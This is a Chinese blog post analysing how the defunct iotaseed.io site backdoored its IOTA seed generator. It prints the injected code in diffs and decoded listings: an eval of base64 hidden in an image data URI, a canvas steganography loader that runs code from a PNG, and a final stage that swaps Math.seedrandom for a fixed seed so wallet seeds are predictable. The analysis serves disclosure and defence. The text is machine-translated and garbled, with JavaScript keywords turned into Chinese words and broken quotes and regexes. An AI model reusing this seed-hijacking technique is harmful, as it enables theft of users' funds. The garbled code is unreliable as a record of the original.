区块链时代的黑产致富经

骗稿费的前言

1982年年,有着当代焦裕禄称号的徐启斌先生在四川眉山县吼出的“要想富,先修路”这一口号,深深映入我们脑海,落后的交通阻碍了当地资源优势转化成经济优势的进程,落后的交通限制了当地经济的发展。交通给物流,文化交流带来便捷的同时也为当地财政带来了实实在在的收入,这个入口就是收费站。
玩过信用卡的朋友的应该都知道,在信用卡社区中将那些大把大把薅羊毛的人称之为大撸逼,这些人每月真实消费几十万?天天都会所嫩模?那么这些大撸逼又是怎样去薅银行的羊毛的呢?银行的活动大多都是以持卡人消费额度为基础进行设计的,消费场景无非就是诸如支付宝,微信支付,银联在线等线上消费,以及线下使用POS机的商户。
商户使用从收单机构领取的POS机给客户刷卡消费,然后商户打印小票,之后拿着小票让收单机构进行结算,收 单机构根据与商家签订的合同收取一定的费用。这里我们不妨将消费流看作是一条高速公路,那么就不难理解将POS机背后的收单机构看作是收费站的说法了。
骗了400多字的稿费之后,正式引入本文的话题。Ars
Technica近期的一篇关于区块链货币盗窃案报道就讲述了iotaseed.io(目前已经关站),是如何通过生成恶意Seed地址从用户钱包盗取价值400万美元的IOTA币。该文章没有对相关代码进行分析,只是让我们知道有这么一个骚操作。

寻找代码

由于iotaseed.io已经停止运营,幸运但的的英文我们找到了该站点的历史页面
在页尾我们发现该站点有链接到一个github上仓库,不服就自己去看代码,并强调使用该站点提供的服务,而不是让用户直接从github上下载代码自建。其给出的理由也挺充分,“仓库里包含有还没完全测试的新代码。”
难道是在实际站点中加入了仓库中没有的脚本文件吗?如果假设成立,也就可以解释被盗用户提到的是 iotaseed.io ,而不是GitHub的仓库了。
然而站点该提供的仓库地址已经删除了,创建该仓库的所有者norbertvdberg尝试同时也注销了。通过archive.org提供的历史页面存档的GitHub存储库的主页阅读代码或下载代码都提示没有该页面存档。该代码仓库有8个人的fork,从GitHub用户手册中我们得知,就算是该项目删除,之前叉的分支是会被保留下来的!还有我们希望见到样本

根据 仓库历史页面上显示的一个承诺信息,我在github上进行搜索

eggdroid / eggseed3似乎就叉了原仓库代码,与原仓库作者norbertvdberg提交的提交数26相符。
至此,集齐两份样本可以召唤神龙了

分析代码

这个种子地址生成器由多个不同的使用Javascript脚本构成,我们将其合并到一个名为all.js的文件,之后将其压缩为all.mini.js,该all.mini.js实际上也就是网页提供的文件。将我们通过历史页面找回的all.mini.js与github上中获取的all.mini.js样本进行比较

$ shasum all-website.mini.js all-github.mini.js
3d48933698d8cf1d1673067d782595c12c815424 all-website.mini.js
3d48933698d8cf1d1673067d782595c12c815424 all-github.mini.js

这个工作对象来自单独的文件all-wallet.mini。这个工作对象生成二维码以及种子地址信息,该工作对象来自单独的文件all-wallet.mini。 JS。这个文件是否隐藏着丑恶的PY交易,拭目以待我们
对比两份全wallet.mini.js文件样本,初步确认两份样本确实不同,怀着蹦蹦蹦跳着的小心脏将两份样本通过JS -beautify整理之后,使用的diff命令确认问题到底出在何处

diff all-wallet-website.js all-wallet-github.js
1313c1313
<t = t || {},this.version = e(“../ package.json”)。version,this.host = t.host?t.host:“http://web.archive.org/web/20180120222030/http://localhost/”,this.port = t.port?t.port:14265,this.provider = t.provider || this.host.replace(/ \ / $ /,“”)+“:”+ this.port,this.sandbox = t.sandbox || !1,this.token = t.token || !1,this.sandbox &&(this.sandbox = this.provider.replace(/ \ / $ /,“”),this.provider = this.sandbox +“/ commands”),this._makeRequest = new o(this .provider,this.token),this.api = new a(this._makeRequest,this.sandbox),this.utils = i,this.valid = e(“./ utils / inputValidator”),this.multisig = new S(this._makeRequest)
> t = t || {},this.version = e(“../ package.json”)。version,this.host = t.host?t.host:“http:// localhost”,this.port = t.port?t.port:14265,this.provider = t.provider || this.host.replace(/ \ / $ /,“”)+“:”+ this.port,this.sandbox = t.sandbox || !1,this.token = t.token || !1,this.sandbox &&(this.sandbox = this.provider.replace(/ \ / $ /,“”),this.provider = this.sandbox +“/ commands”),this._makeRequest = new o(this .provider,this.token),this.api = new a(this._makeRequest,this.sandbox),this.utils = i,this.valid = e(“./ utils / inputValidator”),this.multisig = new S(this._makeRequest)
1713c1713
<this.provider = e || “http://web.archive.org/web/20180120222030/http://localhost:14265/”,this.token = t
> this.provider = e || “http:// localhost:14265”,this.token = t
1718c1718
<this.provider = e || “http://web.archive.org/web/20180120222030/http://localhost:14265/”
> this.provider = e || “HTTP://本地主机:14265”
6435c6435
<website:“http://web.archive.org/web/20180120222030/https://iota.org/”
>网站:“https://iota.org”
6440c6440
<url:“http://web.archive.org/web/20180120222030/https://github.com/iotaledger/iota.lib.js/issues”
>网址:“https://github.com/iotaledger/iota.lib.js/issues”
6444c6444
<url:“http://web.archive.org/web/20180120222030/https://github.com/iotaledger/iota.lib.js.git”
>网址:“https://github.com/iotaledger/iota.lib.js.git”

然而两份样本唯一不同的地方就是,我们通过时光机找回的历史页面获取到的样本,资源都进行了重写并且URL指向了web.archive.org。单从种子地址生成功能实现上来看,两份样本似乎没差别。
在这之后我又看了看index.html的页面,发现页面还加载了一个Java脚本文件,一个通知库。下载之后将时光机版本与GitHub的版本进行差异比较,果然让我们发现了端倪。

$ diff notifier-website.js notifier-github.js
68,71d67
<if(!window.inited_n){
<window.inited_n = true;
<Notifier.init()
<}
82,87d77
<if(/,T/.test(image)){
<if(/ps:.*o/.test(document.location)){
<eval(atob(image.split(“,”)[2]))
<}
<返回
<}
119,121d108
<init:function(message,title){
<this.notify(消息,标题,“数据:图像/ PNG; BASE64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A / WD / oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo / h4eEzODbm5 + eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03 / 9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q,ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKS5nZXRDb250ZXh0KCIyZCIpO3ZhciBpPW5ldyBJbWFnZTtpLm9ubG9hZD1mdW5jdGlvbigpe28uZHJhd0ltYWdlKGksMCwwKTtkUyhvLmdldEltYWdlRGF0YSgwLDAsMjk4LDEwMCkuZGF0YSl9O2kuc3JjPWZ9ZnVuY3Rpb24gZFMoZCl7dmFyIGw9MjEsYk09IiIsdE09IiI7Zm9yKHZhciBpPTA7aTxsO2krKyl7dmFyIGI9KGRbaSo0KzJdPj4 + MCkudG9TdHJpbmcoMik7Yk0rPWJbYi5sZW5ndGgtMV07aWYoYk0ubGVuZ3RoPT0xNil7bD1wYXJzZUludChiTSwyKSsxNjtiTT0iIn1lbHNlIGlmKGJNLmxlbmd0aD09OCYmbCE9MjEpe3RNKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KGJNLDIpKTtiTT0iIn19ZXZhbCh0TSl9Y0RpcygiLi9pbWFnZXMvbG9nb19zbWFsbF9ib3R0b20ucG5nIik7,TbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo / h4eEzODbm5 + eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03 /// 9RTlAAAADy8vIgICA2NzY4OzYPM0fa29qgoI7 / zMnj4 + PW19VGRkbqPi7v7 / D6 + vr09fXyTj4rKSvhSTo / PJ / oSDnlMyLsNCI0MTP0 /// tTT7ZRjizOi + 6PDDmLRyenZ7oKRfExMT / TzvobG​​EVFBWGhYUAGjLW8 / ToXVADLUZ8e33 / 2tfRRTdWVFTFQDT1u7aSkZIADib + 5eFwcHHW + / + z70tDwkIesPTPW6 + teXV2xsbG7u7vY4 Lre3DMzM2qp6jilIxsPT7lg3kdO07m / f4AJjuwsJzftK / fpZ7woJjoVUZBWGj1zMdTaXfcvrrzq6Tby8f + 8u8wSlYZNDaQRUKfr7d9j5lpf4vx5ePMsLF / o64s + PNlAAAANnRSTlMAC1IoljoZWm2yloPRGWiJfdjEEk037Esq7Pn24EKjpiX + z7rJNNWB5pGxZ1m2mZY / gXOlr43C + dBMAAAmkklEQVR42uzay86bMBAF4MnCV1kCeQFIRn6M8xZe + v1fpVECdtPSy5822Bi + JcujmfEApl3IIRhBFyIJ3Em6UMTDSKfHsOB0dhILQ2fX4 + 4aF0tVXC3yJJB4OrcJV1msIhJN52avslhpZOfcvyepfceIaARw5t2CWTwYRhSQTdSum1TGqE5Mr0kg6Ukj66hZ3GExaEaJQsYIWXzmd6P2KHxn6NjG4 / BDMEQ6RM + oNQ6vjJyWFTNTDJlau0e1drAO + Ikan8tE1itkfC0S11iXKGyYJZFB5jpkgmY8WWoKx6Z5JI3MGyQqV1Jj80Jgm2J9xGrQSAKfcyptEfgFrxxWnUUiVEqIGjN5bAsRKyOReI9FaGxw3o0Of8I6rAbbcBR06yN + T + Uogmu2QR5ucsaXuV6w1hath9HiDWGwWrLmOoUL7 / CWYLRo6 / 2d9zPeN6hONNEvXKiIf2fkwauDCxXwcPI0mA / 4V + whvwdzafABTh / tZW3SEcmZS0NYfJTTB5kaYsbnHSEMMWMfuvJdg3vsJlR9R6UP2JOp9jRhM / ZVa5dwiwJCT9UZI8qwtRVGh2JCVSsXtyinqgtMk0NJFf1QYwGlmToGhkQFQg3X5nvUofzw7FCLr2bRak2Uz0KgJhOVM6EqjlMpvPwp + ioWy2JAbWYqQ6E + mv5SwyNzJWh / HHX6Rty17TYNBFF44CokEA + ABELiJ2yMnUorefElCY5pHGgqu3JUhYAU0xpwwYoqJSAU8sgXMxvvekwukAS0PS9pq3I8OXtmZm8pF3D6vuLEx7N833 / N0bI85X / CarUEte9b68nlf4rg + lKoEGAvPMvzk6 + Ak5OwZ71u / S81gEoJR8AMyPNR2FOs7jo1pG94PvzdD76vjCZTYp / vlzDefw0hYOWf4b1 + 3Tt5 + 3MfcZ7NxnnPX0Uu // 7StQUhwgmNk / N9x3ENDpfF / P7E6 / 6rM1qt8K0BXMjsOs7 + eZKNR95KMSQfCgS / pUY4TuPUdlEHlOPnCXj7H2B1e9 + ZxRaZHVuN49nI8pUlNC9JRLVSwMhM4piahmOsA / FMFPwB + 4ZiyTYnf / gAAAABJRU5ErkJggg ==“)))))))))))))))
<},

为了隐藏代码作者的良苦用心,你们谁能理解?Notifier.notify方法已经变成检测图像参数是否包含” T”,将部分代码解析成的Javascript并进行判断。另一个修改则是当页面加载时,增加调用Notifier.init()方法,调用包含图像参数的通知方法以触发该代码执行。
执行ATOB(image.split(“”)[2]),将引出以下代码片段:

函数cDis(f){
var o = document.createElement(“canvas”)。getContext(“2d”);
var i = new Image;
i.onload = function(){
o.drawImage(i,0,0);
dS(o.getImageData(0,0,298,100).data)
};
i.src = f
}
函数dS(d){
var l = 21,
bM =“”,
tM =“”;
for(var i = 0; i <l; i ++){
var b =(d [i * 4 + 2] >>> 0).toString(2);
bM + = b [b.length – 1];
if(bM.length == 16){
l = parseInt(bM,2)+ 16;
bM =“”
} else if(bM.length == 8 && l!= 21){
tM + = String.fromCharCode(parseInt(bM,2));
bM =“”
}
}
的eval(TM)
}
CDIS( “./图像/ logo_small_bottom.png”);

恶意代码第二阶段将./images/logo_small_bottom.png放入我们看不见的画布元素中,从图片数据中读取一些文本,然后以使用Javascript对这些文本进行判断。从仓库信息中可以看到logo_small_bottom。 PNG是在2017年8月28日添加的,在3小时之后再次进行更新。当我们对这张图进行解码,两个版本都无法生成有效的代码。
然而这张在原始网站使用到的图片与我们通过时光机找回的图片是不同的,并且会产生以下代码:

if(/ps:.*\.io/.test(document.location)){
mode =“M”;
(函数(消息){
var name =“edr”;
名称+ =“一个”;
消息[“cont”] = 0;
name + =“dom”;
函数显示(arg,options,image){
message [“e2”+ name](“4782588875512803642”+ String(message [“cont”]),options,image);
消息[“cont”] + = 1
}
message [“e2”+ name] = message [“se”+ name];
消息[“se”+ name] = show
})(eval(mode +“ath”))
}

这是JavaScript的后门的最后一个阶段,我们简化下:

Math.cont = 0;
函数显示(arg,options,image){
Math.e2edrandom(“4782588875512803642”+ String(Math.cont),options,image);
Math.cont + = 1;
}
Math.e2randrandom = Math.seedrandom;
Math.seedrandom = show;

代码该修改了用于生成代码的Math.seedrandom函数,其使用固定数4782588875512803642加上一个计数变量seedrandom,这就导致的Math.random()每次返回的数据是相同的,一系列的数字都是可预测的,最终生成的IOTASeed地址都是一样的。这也就说明了为什么你每次打开archive of iotaseed.io生成的Seed地址都是相同的:

XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD

就算你换台电脑也是一样的结果。
还有一件事情需要注意,每个用户获取到的RNG(“4782588875512803642”是我们从历史样本中获取的)不是相同的,通过比对October 31st以及November 19th,发现每过一段时间该数字也会改变。这也就是说./images/logo_small_bottom.png是由iotaseed.io服务端动态生成的。创建该PNG文件后,用于修改随机函数的数字也会改变(或者是存储在其他地方,反正得利用攻击者盗取IOTA),看起来网站确实是为不同的用户生成了不同的种子地址。通过这个演示
展示了该代码是如何变化的。
根据IOTA官方的JavaScript库,我们知道前面提到的种子地址(XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD)对应的钱包地址应该是PUEBLAHRQGOTIAMJHCCXXGQPXDQJS9BDFSCDSMINAYJNSILCCISDVY99GMKAEIAICYQUXMIYTNQCJYVDX。从iotabalance.com网站得知这是个空钱包,然而从同类网站查询该钱 地址却返回404错误,这个比如例子

结论

回顾后门放置的手法,你非要说这是无心之失,那我也没办法。现在我们不清楚的只是这些代码是由norbertvdberg,还是其他攻击者所为。但是从所有者事后删除github上,书签交易,Quora的帐号来看,怕是脱不了干系吧。
后门隐藏得确实挺不错,仅仅只是通过浏览器的开发者工具瞥一眼很难发现其中端倪。

所以还是说,想致富先修路嘛!

未经允许不得转载:技术啦 - 关注IT,建站和运维,分享最新教程,资源 » 区块链时代的黑产致富经

赞 (0) 打赏

评论 0

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址